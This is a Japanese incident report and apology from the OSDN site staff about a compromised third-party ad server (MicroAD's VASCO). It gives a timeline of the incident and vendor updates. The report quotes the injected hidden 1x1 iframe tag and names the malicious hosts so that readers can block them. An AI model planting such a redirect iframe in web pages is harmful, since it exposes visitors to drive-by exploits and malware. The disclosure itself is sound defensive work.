ADサーバー担当者 曰く、
今回は大変ご迷惑をおかけしまして申し訳ありませんでした。
OSDNのサイトでは、広告バナーの配信のためのADサーバーとして、MicroAD社のVASCOを使っておりましたが、
本来掲出されるはずの広告タグの前に不明なiframeタグ差し込まれるという事態が発生し、その中身によって不明なサイトに誘導されるということが起きてしまいました。
原因がVASCO ADサーバーによるものだと特定でき、OSDN管理のADサーバーに切り替えたのは24日23:30です。その後、キャッシュなどに残っていないか確認作業を進め、25日0:29にOSDN全サイトで問題ないことを確認いたしました。
具体的な現象としては、vsc.send.microad.jpのJavaScriptから掲出されるタグにおいて、
<iframe width="1" height="1" src="http://xxxx.ipq.co/statsm?ref=jp"></iframe>
xxxxはversus
のタグが差し込まれ、ここからセキュリティ上警告を受けるサイトに誘導されるというものです。
現在も引き続き原因・詳細を調査中ではありますが、状況説明ならびに対処が終わった旨をご報告する次第です。
なお、問題が発生したADサーバーサービスについては、特段の状況の変化がない限り、OSDNでは今後利用することはありません。
改めまして大変ご迷惑をおかけしましたことをお詫びいたします。
追記・修正:2:12)
Googleのアップデートで「.redmancerg.net」を検索のつぶやきなどでも確認できるように、影響の範囲はVASCOを採用している各サイトの広範囲に及んでいるようです。gigazine.net、impress.co.jpほか、7netshopping.jp、mainichi.jpなど未対処と思われるサイトもあるので注意してください。
現在(2:12時点)は差し込みはなくなったようですが、時限式の可能性もあります。
初出時、挿入されたiframeのsrc部分をブランクとしましたが、明記に変更しました。こちらをブロックしておいていただければひとまずの対処になるものと思われます。
修正:2:46)
コメントでのご指摘のように「原因がVASCO ADサーバーによるものだと」に書き換えました。
修正:3:44)
RSSリーダーなどでsrc部分がリンクに書き換えられてしまう場合がありましたので、
分離記述にしました。
追記
MicroAD社から5:32に問題の核となる箇所は回復した旨の連絡を受けていますので、現在は大丈夫と思われます。
追記)
AdobeソフトウェアのアップデートやWindows Updateを怠っていたWindows環境でアクセスした方は、念のためウイルス対策ソフトにて確認をお願いします。該当の問題から、アラートが機能しないブラウザでアクセスした場合は、次にPDFなどの脆弱性を試すコードが実行され、それに成功した場合は、Security Toolというマルウエアがインストールされるようです。
配信可能性のある時間帯は、弊社が確認できている範囲ですと、
OSDNサイト:24日21:00~24日23:30
他社サイト:24日21:00~25日午前1:30
です。
この時間帯に脆弱性があるWindows環境でサイトアクセスした可能性のある方は確認をお願いいたします。
追記 21:48)
MicroAD社から報告が届きました。それによると今回の問題は、
9/24 20:30~9/25 0:00 断続的に弊社サーバーに対し外部(海外)から複数
回の不正アクセスの履歴を確認
→このタイミングのいずれかで不正なリンクが挿入されるプログラムが混入され
たものと想定しております。
9/25 00:30 弊社システム担当による不正箇所の調査、不具合の原因特定作業を
実施。
9/25 01:10 障害発生の直接の原因となる広告配信タグ内の不正コードを削除し
動作復旧を確認。
根本の原因となったプログラムの脆弱性箇所を特定し、該当プログラムの削除、
改善を実施。
とのことですので1:30ごろには終息していたものと思われます。
90氏が日記にまとめられていますので併せてご参照ください。
追記:27日12:24)
MicroAD社が対応窓口を設置しました。また報告文書が公開されています。
03-5459-6344
user-support@microad.jp
【障害報告】弊社サービスの改ざんに関するお詫びと報告